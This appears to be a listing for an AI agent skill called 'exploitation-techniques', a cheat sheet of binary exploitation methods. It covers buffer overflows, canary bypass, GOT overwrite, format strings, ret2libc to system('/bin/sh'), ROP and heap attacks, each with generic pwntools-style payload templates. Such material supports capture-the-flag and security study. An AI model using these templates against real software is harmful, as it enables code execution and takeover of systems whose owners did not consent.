Back to skills
extension
Category: Development & EngineeringNo API key required

exploitation-techniques

Core exploitation techniques for binary vulnerabilities

personAuthor: jakexiaohubgithub

Exploitation Techniques

Pattern Selection

| Pattern | Signals | Requirement | |---------|---------|-------------| | Stack BOF | No canary, unbounded input | Control return address | | Canary Bypass | Canary present, info leak possible | Leak or avoid canary | | GOT Overwrite | Partial RELRO, write primitive | Writable GOT | | Format String | printf(user_input) | User controls format | | ret2libc | NX enabled, libc available | Libc address leak | | ROP | NX enabled, gadgets needed | Sufficient gadgets |


1. Stack Buffer Overflow

Concept: Overflow a stack buffer to overwrite the saved return address.

Stack Layout:
[  buffer  ][ saved_rbp ][ return_addr ]
     ↑            ↑            ↑
  overflow → overwrite →  control RIP

Template:

OFFSET = <bytes_to_return_address>
TARGET = <address_to_jump_to>

payload = b'A' * OFFSET
payload += p64(TARGET)

64-bit alignment: Add a ret gadget before the target if crashes occur (16-byte alignment).


2. Stack Canary Bypass

Concept: Leak or avoid corrupting the stack canary.

Approaches:

  • Leak via format string or other info disclosure
  • Brute force (only works with fork servers - canary constant across children)
  • Off-by-one to corrupt variable above canary without touching canary

Leak template:

# Probe for canary (ends in null byte)
for i in range(1, 50):
    send(f'%{i}$p')
    if response.endswith(b'00'):
        CANARY_OFFSET = i

Brute force template:

canary = b'\x00'  # First byte always null
for position in range(7):
    for byte in range(256):
        payload = padding + canary + bytes([byte])
        if no_crash(payload):
            canary += bytes([byte])
            break

3. GOT Overwrite

Concept: Overwrite a GOT entry so the next call to that function jumps to your target.

Requirements: Partial RELRO (GOT writable), write primitive

Template:

GOT_ENTRY = <address_of_got_entry>
NEW_VALUE = <address_to_redirect_to>

# Write NEW_VALUE to GOT_ENTRY using your primitive
# (format string, arbitrary write, etc.)

Common targets: Functions called after your write (puts, printf, exit, __stack_chk_fail)


4. Format String

Concept: User input used directly as printf format string enables read/write.

Read template:

# Leak stack values
payload = b'%p.' * N

# Leak specific offset
payload = b'%<offset>$p'

Write template:

# pwntools handles complexity
writes = {<target_addr>: <value>}
payload = fmtstr_payload(<stack_offset>, writes)

5. ret2libc

Concept: After leaking a libc address, calculate base and call system().

Template:

LEAKED_ADDR = <leaked_function_address>
LEAKED_OFFSET = libc.symbols['<leaked_function>']

libc.address = LEAKED_ADDR - LEAKED_OFFSET
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))

payload = padding + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)

6. ROP Chains

Concept: Chain gadgets ending in ret to perform operations when NX is enabled.

64-bit calling convention: RDI, RSI, RDX, RCX, R8, R9

Gadget types:

  • pop <reg>; ret - Load value into register
  • mov [<reg>], <reg>; ret - Write to memory
  • syscall; ret - Make syscall

Template:

rop = ROP(elf)
rop.call('<function>', [<arg1>, <arg2>, ...])
payload = padding + rop.chain()

7. Heap Exploitation

Use-After-Free:

  1. Allocate chunk A
  2. Free chunk A
  3. Allocate chunk B (same size, reuses A's memory)
  4. Dangling pointer to A now accesses B's data

Heap Overflow:

  • Corrupt adjacent chunk metadata
  • Overwrite forward/backward pointers
  • Achieve write primitive on next alloc/free

Composition Patterns

| Have | Combine With | |------|--------------| | BOF + NX | ret2libc or ROP | | Format string | GOT overwrite, leak canary/libc | | Partial RELRO + write | GOT overwrite | | Fork server + canary | Brute force canary |